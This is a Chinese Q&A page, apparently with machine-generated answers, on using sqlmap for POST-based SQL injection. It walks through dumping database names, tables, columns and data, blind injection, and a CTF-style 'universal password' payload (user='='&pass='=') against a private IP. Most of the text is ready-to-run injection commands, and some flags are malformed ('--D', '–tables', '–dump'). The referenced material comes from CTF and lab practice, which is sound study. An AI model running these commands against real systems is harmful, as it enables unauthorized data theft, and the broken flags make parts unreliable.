sqlmap爆库爆表名post
时间: 2023-10-22 20:08:53 浏览: 179
使用sqlmap工具可以进行数据库的爆库和爆表操作。首先,通过运行以下命令可以爆出当前数据库的名称和用户名:
```
sqlmap -r "post1.txt" --current-db --current-user
```
然后,可以使用以下命令来爆出当前数据库中的表名:
```
sqlmap -r "post1.txt" --tables -D <数据库名称>
```
其中,`<数据库名称>`是前一步中爆出的数据库名称。
请注意,这是一个示例命令,具体使用时需要根据实际情况进行修改。
相关问题
sqlmap post盲注
回答: 在进行sqlmap post盲注时,可以使用以下命令进行操作。首先,使用`sqlmap -u "http://url/news" --data "id=1" --dbs --dbms=数据库类型`来获取数据库名称。然后,使用`sqlmap -u "http://url/news" --data "id=1" -D 数据库名称 --tables --dbms=数据库类型`来获取数据库中的表名。接下来,使用`sqlmap -u "http://url/news" --data "id=1" -D 数据库名称 -T 表名 --columns --dbms=数据库类型`来获取表的列名。最后,使用`sqlmap -u "http://url/news" --data "id=1" -D 数据库名称 -T 表名 -C 列名 --dump --dbms=数据库类型`来获取列的数据。这些命令将帮助你在进行sqlmap post盲注时获取所需的信息。<span class="em">1</span><span class="em">2</span><span class="em">3</span>
#### 引用[.reference_title]
- *1* *2* *3* [Sqlmap使用-盲注小实验](https://blog.csdn.net/weixin_50339832/article/details/117537417)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 100%"]
[ .reference_list ]
sqlmap万能密码
根据引用和引用中提到的方法,你可以使用sqlmap进行post注入攻击来获取数据库信息。引用中的命令 "sqlmap -u "http://192.168.87.172/index.php" --data="user='='&pass='='" --dbs" 可以用来获取数据库名。然后使用引用中的命令 "sqlmap -u "http://192.168.87.172/index.php" --data="user='='&pass='='" --D user –tables" 查找表名。最后,使用引用中的命令 "sqlmap -u "http://192.168.87.172/index.php" --data="user='='&pass='='" -D user -T flll4g -C "key" –dump" 来获取字段key的数据。这样你就可以找到flag信息了。<span class="em">1</span><span class="em">2</span><span class="em">3</span>
#### 引用[.reference_title]
- *1* *2* *3* [CTF---Web---SQL注入---01---万能密码+sqlmap](https://blog.csdn.net/qq_22160557/article/details/119194712)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 100%"]
[ .reference_list ]
阅读全文